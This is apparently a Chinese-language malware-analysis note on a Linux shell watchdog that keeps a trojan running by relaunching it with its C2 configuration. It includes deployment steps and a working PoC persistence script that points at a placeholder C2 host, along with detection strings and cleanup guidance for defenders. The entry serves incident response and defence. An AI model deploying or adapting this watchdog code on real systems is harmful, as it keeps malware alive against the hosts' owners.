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Linux shell 看门狗保活:pgrep 检测主木马并随机抖动拉起

pentest/persistence · verified

一句话结论

投递器在落地主木马后额外写入一个独立运行的 shell 看门狗脚本,每 45~95 秒检查主木马进程是否存活,发现被杀就带原 C2 配置重新拉起;因此只 kill 主进程会在一个周期内被自动复活,必须把看门狗及其脚本载体一起清除。

原理

  • 独立进程:看门狗不是主木马内的线程或定时器,而是一个由 nohup sh 启动的独立 shell 进程。主木马被 kill -9 后,看门狗仍然存活,因此不受主进程生命周期影响。
  • 存活判定:脚本先判断 [ -x "$BIN" ],再用 pgrep -f "$BIN" 检查是否已有对应命令行进程;两者都满足才认为“活着”。pgrep -f 匹配完整 argv,能识别以 nohup 启动、进程名可能被截断的木马。
  • 拉起动作:发现进程不存在时,看门狗用与投递器相同的 MULU_ALLOW_ARGS=1 MULU_C2=... MULU_C2_LIST=... MULU_TK=... 环境变量和 argv 再次 nohup "$BIN" ... &,把 C2 配置原样带回,主木马无需重新下载即可恢复上线。
  • 随机抖动:休眠时间用 45 + $$ % 50 计算,即 45~95 秒之间随看门狗进程 PID 变化。固定周期容易在流量或进程创建时间上形成明显节律;抖动让重启时刻不可预测,也降低被“按周期检测”的规则命中的概率。进程大部分时间在 sleep,CPU 占用接近零。
  • 参数模板替换:看门狗脚本用 heredoc 生成,先写入 __UL__、__BIN__、__TK__ 占位符,再用 sed 替换成实际 C2 列表、二进制路径和 Token。这样同一个模板可以适配不同战役,也避免在脚本正文里直接出现完整配置。

触发条件

  • 投递器已成功落地并启动主木马;
  • 主木马二进制仍存在且可执行(看门狗以 [ -x "$BIN" ] 为前提);
  • 看门狗脚本已通过 nohup sh 启动,且运行用户与主木马一致(同 UID 才能 pgrep、启动和访问同一路径);
  • 主机未重启。注意:看门狗只保证进程级存活,不是开机自启;主机重启后需要另有 cron/systemd/启动项等持久化手段重新拉起,或者由攻击者再次投递。

利用步骤

  1. 投递器把主 ELF 放到可执行目录并确认启动成功。
  2. 生成看门狗脚本到同一目录(或 /dev/shm、/tmp),内容为循环:检查二进制存在 → pgrep -f 检查进程 → 不存在则带 MULU_* 参数 nohup 拉起 → sleep 45 + $$ % 50。
  3. 用 sed 替换占位符为实际 C2、Token 和二进制路径,chmod +x 后 nohup sh 看门狗脚本 &。
  4. 主木马被杀后,看门狗在下一轮休眠结束时重新启动它;运维若只杀主进程,会看到进程反复出现。
  5. 清除时必须先停看门狗(含其 sleep 子进程),删除看门狗脚本和主二进制,再清理节点 ID/锁文件,否则会陷入“杀了又起”的循环。

PoC

以下为按样本逻辑压缩的看门狗骨架,仅作防御研究,未执行:

#!/bin/sh
BIN='/dev/shm/.x1a2b'
UL='http://c2.example'
TK='token'
U=$(printf '%s' "$UL" | awk '{print $1}')
while :; do
  if [ -x "$BIN" ]; then
    if command -v pgrep >/dev/null 2>&1; then
      pgrep -f "$BIN" >/dev/null 2>&1 || \
        MULU_ALLOW_ARGS=1 MULU_C2="$U" MULU_C2_LIST="$UL" MULU_TK="$TK" \
        nohup "$BIN" "$U" "$TK" "$UL" </dev/null >/dev/null 2>&1 &
    else
      MULU_ALLOW_ARGS=1 MULU_C2="$U" MULU_C2_LIST="$UL" MULU_TK="$TK" \
        nohup "$BIN" "$U" "$TK" "$UL" </dev/null >/dev/null 2>&1 &
    fi
  fi
  sleep $((45 + $$ % 50))
done

变体与关联

  • 变体:双看门狗互相监控;看门狗用 crontab -e 或 systemd --user 定时拉起,获得重启后存活能力;把看门狗写成二进制或内存马,减少脚本落地痕迹。
  • 变体:用 kill -0 "$PID" 检查固定 PID(样本投递器里也用于启动确认),但 PID 复用会导致误判,pgrep -f 更稳。
  • 关联:[[pentest-c2-linux-adaptive-dropper-dir-probe-multi-downloader-elf-check]](投递器负责安装看门狗)、[[defense-incident-response-linux-c2-watchdog-cleanup-order]](清除顺序)。

检测与防御

  • 进程检测:ps -eo pid,ppid,user,lstart,cmd --forest 查看是否有 sh 脚本进程长期存活、其子进程是来自 /dev/shm、/tmp、$HOME 的可疑二进制;pgrep -af 搜索隐藏目录路径;注意看门狗大部分时间在 sleep,CPU 很低。
  • 脚本检测:在 /dev/shm、/tmp、/var/tmp、$HOME 搜索包含 pgrep、nohup、MULU_、sleep $((45 的 shell 脚本;grep -R 时排除正常运维脚本。
  • 行为检测:短时间内的进程创建/退出循环(每 45~95 秒一次)、同一二进制被杀后反复出现、nohup 启动的进程父进程是 sh 脚本;auditd 对 execve、kill 和文件写入组合告警。
  • 清除与加固:先定位并停止看门狗,再删除脚本与主二进制;检查 cron、systemd、rc.local 是否有第二层拉起;对可写目录使用 noexec,限制出站 C2;主机重启后复查 /dev/shm 和进程树。
  • 检测局限:如果看门狗本身被删除但主木马仍在,主进程不会自动恢复,但攻击者可能保留了重新投递通道;清除后应持续观察至少数个看门狗周期(数分钟)并检查网络回连。